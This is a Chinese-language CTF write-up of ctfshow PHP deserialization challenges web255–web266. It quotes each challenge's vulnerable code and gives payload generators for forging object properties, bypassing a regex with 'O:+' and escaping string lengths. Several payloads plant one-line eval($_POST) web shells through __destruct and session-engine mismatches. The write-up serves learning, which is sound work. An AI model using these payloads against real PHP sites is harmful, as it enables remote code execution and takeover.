详解wp可参考此处
该博客仅提供大致内容,还望包涵。
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
通过代码审计发现,即使账号密码正确,function:checkVip $isVip仍为false;
所以反序列化先构造一个该变量为true。同时要记得将输出的反序列化内容经过url编码再复制!
web256
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
跟上一题相比,多了一条规则在vipOneKeyGetFlag
中,要求username!=password。所以直接反序列化一个username和password不等的类就行。
其余内容跟上题一致。
注意构造的新类要和传递进的参数保持一致
web257
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
跟账号密码基本没关系了。反序列化时new info
了这样一个新类。在这里只需把info这个新类改成backdoor,就可以通过backdoor中的private code
变量来rce了。 序列化只是针对类的类名和变量,对非对方法(非严谨措辞)。
修改如下两处即可。这里先遍历了一下目录。后面flag tac查看一下就能拿到。
public function __construct(){
$this->class=new backdoor();
}
class backDoor{
private $code = 'system("ls");';
public function getInfo(){
eval($this->code);
}
}
web258
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
多了个正则。匹配O:数字。在url中,+和空格作用一致,所以在反序列化时,用O:+xxx来绕过。
如下运行得到结果
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
$test = new ctfShowUser();
$c=serialize($test);
$a=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$a);
echo urlencode($b);
?>
web260
序列化后的仍包含它本身
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
代码审计还是很重要的。大致看了下跟最后读取flag有关的可能两个点,一个是_invoke
,一个是_destruct
。
对象本身不能直接当函数用,如果被当做函数用,会直接回调__invoke方法
没有直接引用的类所以不执行。所以只能是后者作为突破点。code需要 = 0x36d,即877。php中 为弱类型比较,所以即使是877.php也0x36d。在执行反序列化unserialize()时,wakeup是不执行的,且在_unserialize中code有username和password拼接,所以构造如下payload。
<?php
class ctfshowvip{
public $username = '877.php';
public $password = '<?php @eval($_POST[a]);?>';
public $code;
}
$a = new ctfshowvip();
//echo 'a';
echo urlencode(serialize($a));
?>
访问目录,找到flag。
web262
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
备注中有提到message.php,如下:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这里就有两套思路
A
既然token要==admin,那么直接序列化message类,将token参数修改为admin即可。
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$a = new message('a','b','c');
//echo 'a';
//echo serialize($a);
echo base64_encode(serialize($a));
//echo urlencode(serialize($a));
?>
B
直接payload了
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($s){
return str_replace('fuck','loveu',$s);
}
$test = new message(str_repeat('fuck',62).'";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$a = serialize($test);
$b = filter($a);
$c = base64_encode($b);
echo $c;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//62::O:7:"message":4:{s:4:"from";s:4:"loveu";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
?>
web263
进入后是个登陆界面,用dirsearch假模假样的搜了下,有源码泄露。
跟解题有关的php
初始状态下,会将cookie值设为1,再通过加密。
在check.php中,可以发现有调用cookie
所以针对cookie的序列化操作,在ini.php中又有一个文件上传
如何利用,就要用到session反序列化漏洞的知识
简单来说就是index和其余两个的phpsession序列化引擎不一致。前者是默认php,后者是php_serialize
两者区别如下
可以看到两者最大区别就是有无|,php:存储方式是,键名+竖线+经过serialize()函数序列处理的值。
payload:
<?php
class User{
public $username ;
public $password ;
public $status ;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$a = new User('1.php','<?php eval($_POST[1])?>');
$b = serialize($a);
$c = base64_encode('|'.$b);
echo $c;
?>
php_serialize引擎下|内容是被当作字符处理,php默认引擎下|后的值作为键值会被反序列化。
参考视频
web264
这题跟262基本没大区别,基础知识没掌握好搞了半天。在传参时加了单引号一直反序列化失败。
题目
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
get传参f、m、t,构成session。成功后页面输出Your message has been sent。进入message.php后,需要传入一个任意cookie后即可。
payload
?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
payload:让password的值恒指向token的地址
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;;
}
public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin('1','2');
echo serialize($a);
web266
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
只要让ctfshow这个类销毁,就可以输出flag。在这里构造一个ctfshow类,但破坏里面的结构(随意删除里面的内容)。虽然无法被换序列化且仍会被检测到并且throw报错,但destruct魔术方法仍执行。如果是正确的序列化,在匹配后则不会调用魔术方法直接报错,个人猜测是报错上的一些机制的不同。